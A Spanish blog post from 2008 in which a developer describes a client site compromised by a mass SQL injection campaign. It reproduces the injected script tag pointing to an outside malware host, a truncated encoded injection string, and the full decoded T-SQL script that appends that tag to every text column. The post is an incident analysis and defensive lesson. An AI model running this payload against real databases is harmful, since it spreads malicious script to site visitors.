Atacados por inyección SQL

Hoy ha sido un dia aciago en el trabajo, de esos que parece que nada funciona bien y para colmo a última hora ha llamado alguien diciendo que no se veía bien un banner de su web. “A saber que han tocado” he pensado, pero eso solo era la punta del iceberg.

Echamos un vistazo y alerta del antivirus porque intentábamos ejecutar código maligno. Raro. Examinamos detenidamente la página y encontramos algo como esto por todas partes:

<script src=http://www.nihaorr1.com/1.js></script></pre>

Curioso. Por lo visto todos los campos nvarchar y ntext habían sido completados con este añadido de html. La cosa se ponía ya más fea. El javascript en cuestión, lo que hace es escribir un iframe que apunta a una URL concreta, que cuando lo he probado no funcionaba (igual han muerto de éxito).

Buscando en Google, cómo no, veo que hay unos cuantos sites afectados por este gusano, por llamarlo de algún modo. Vale, por lo menos no somos los únicos pringados en este asunto.

Tirando del hilo y acotando un poco la búsqueda he llegado al foro de SecurityFocus y de ahí a una interesante explicación detallada de un ataque a SQL Server codificando una cadena de caracteres, haciendo un CAST y luego un exec de la cadena.

Después me he dedicado a revisar los logs de errores del servidor que llegan por correo (no tenía acceso a la máquina para ver los logs del servidor web), casi seguro que no habían acertado a la primera. Efectivamente, habían acertado a la segunda. Buena puntería.

Esto es de forma abreviada lo que intentaban inyectar:

';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x44004500 .... 6F007200%20AS%20NVARCHAR(4000));EX EC(@S);--</pre>
La verdad es que es ingenioso y potente ya que por un lado minimizan la cantidad de instrucciones SQL necesarias y además no usan los típicos <code>SELECT</code>, <code>INSERT</code> o <code>UPDATE</code>. Una vez decodificada la cadena, lo que se consigue es un script como este:
<pre name="code" class="sql">DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
    select a.name,b.name from sysobjects a,syscolumns b
    where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
    exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.nihaorr1.com/1.js></script>''')
    FETCH NEXT FROM  Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

No es realmente complicado, ya que lo que hace es obtener de sysobjects las columnas y tablas vulnerables y después recorre los resultados haciendo un UPDATE intentando no destruir datos y simplemente añadir la cadena maliciosa a las existentes. Y además usando instrucciones que suelen estar disponibles con los niveles de privilegio básicos de lectura y escritura (por lo menos en SQL Server). Me gusta.

Las aplicaciones que hacemos suelen tener una protección más o menos adecuada contra ataques de inyección como estos (funciones de recogida de datos y de paso de parámetros a sentencias SQL) pero en este caso, por desconocimiento o despreocupación, se trataba de un par de páginas muy a medida que se hicieron para ese proyecto. Tendré que recordar una vez más la importancia que tiene el manejo de strings, tanto a la hora de recogerlos, para evitar por ejemplo inyección de HTML, como a la hora de usarlos en consultas SQL, para evitar la ejecución de código malicioso.

Actualización 22-04-2008: Ya me han llegado los logs. Todo viene de la IP 219.153.46.28, y veo que no somos los únicos afectados. Id con cuidado ahí fuera.

Actualización 26-04-2008: En Kriptópolis se hacen eco del ataque y ha afectado a más de 500.000 sitios en los últimos dias. Qué cracks.

Actualización 28-04-2008: Y esto no se acaba, reacciones en Washington Post via OS News. También en IIS.NET y una guía de seguridad de Microsoft por si alguien la quiere descifrar.

Si te ha gustado esta entrada, por favor deja un comentario o suscríbete al RSS para que puedas recibir todas las novedades en tu lector de feeds favorito.
This entry was posted in Seguridad and tagged , . Bookmark the permalink.

4 Responses to "Atacados por inyección SQL"

Leave a reply